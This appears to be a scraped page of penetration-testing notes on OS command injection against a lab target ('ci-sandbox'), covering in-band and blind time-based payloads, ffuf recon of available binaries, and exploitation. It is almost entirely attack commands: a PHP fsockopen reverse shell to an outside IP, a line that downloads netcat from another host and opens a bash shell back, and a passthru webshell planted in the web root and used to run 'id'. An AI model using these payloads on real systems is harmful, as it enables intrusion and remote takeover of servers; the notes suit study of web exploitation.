Examples
In Band
Simple Payload


Complex Payload



Blind



Capabilities Recon
Reverse Shell
File Transfer
Webshell

Last updated









Last updated
;php -r '$sock=fsockopen("172.31.150.94",9999);exec("/bin/sh -i <&3 >&3 2>&3");'## original command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}'
# our goal command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}';whoami;#
# the payload
222)^2))}';whoami;#
# the final command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}';whoami;#)^2))}'222)^2))}';php -r '$sock=fsockopen("172.31.150.94",9999);exec("/bin/sh -i <&3 >&3 2>&3");';#localhost?q=`sleep 5`$ time curl "http://localhost?q=localhost"
<html>
<SNIP>
</html>
real 0m0.062s # Normal response time
user 0m0.006s
sys 0m0.000s
$ time curl "http://localhost?q=`sleep+5`"
<html>
<SNIP>
</html>
real 0m5.063s # The 'sleep 5' payload worked
user 0m0.003s
sys 0m0.003shttp://172.31.150.94:9999/?q=`whoami`$ cat capability_checks_linux.txt
w00tw00t
wget
curl
fetch
gcc
cc
nc
socat
ping
netstat
ss
ifconfig
ip
hostname
php
python
python3
perl
java
$ ffuf -u "http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ" -w capability_checks_linux.txt -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ
:: Wordlist : FUZZ: /home/x7331/web200/capability_checks_linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
java [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 4118ms]
perl [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4119ms]
ip [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 4119ms]
python [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 4119ms]
php [Status: 200, Size: 510, Words: 59, Lines: 12, Duration: 4120ms]
hostname [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4120ms]
fetch [Status: 200, Size: 492, Words: 59, Lines: 11, Duration: 4148ms]
ss [Status: 200, Size: 492, Words: 59, Lines: 11, Duration: 4148ms]
gcc [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4149ms]
ifconfig [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 4149ms]
python3 [Status: 200, Size: 508, Words: 59, Lines: 12, Duration: 4276ms]
socat [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 5268ms]
cc [Status: 200, Size: 503, Words: 59, Lines: 12, Duration: 5297ms]
nc [Status: 200, Size: 499, Words: 59, Lines: 12, Duration: 6259ms]
wget [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6259ms]
ping [Status: 200, Size: 501, Words: 59, Lines: 12, Duration: 6291ms]
curl [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6291ms]
w00tw00t [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 7282ms]$ ffuf -u "http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ" -w capability_checks_linux.txt -c -fs 491
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ
:: Wordlist : FUZZ: /home/x7331/web200/capability_checks_linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 491
________________________________________________
wget [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4098ms]
curl [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4098ms]
python3 [Status: 200, Size: 508, Words: 59, Lines: 12, Duration: 4098ms]
php [Status: 200, Size: 510, Words: 59, Lines: 12, Duration: 4130ms]
cc [Status: 200, Size: 503, Words: 59, Lines: 12, Duration: 4133ms]
nc [Status: 200, Size: 499, Words: 59, Lines: 12, Duration: 4133ms]
hostname [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4863ms]
gcc [Status: 200, Size: 504, Words: 59, Lines: 12, Duration: 5888ms]
ping [Status: 200, Size: 502, Words: 59, Lines: 12, Duration: 5920ms]
ifconfig [Status: 200, Size: 506, Words: 59, Lines: 12, Duration: 6912ms]
perl [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6912ms]
python [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 6912ms]wget http://192.168.49.51:80/nc -O /var/tmp/nc ; chmod 755 /var/tmp/nc ; /var/tmp/nc -nv 192.168.45.155 9090 -e /bin/bashecho+"<pre><?php+passthru(\$_GET['cmd']);+?></pre>"+>+/var/www/html/webshell.php$ curl http://ci-sandbox/webshell.php?cmd=id
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>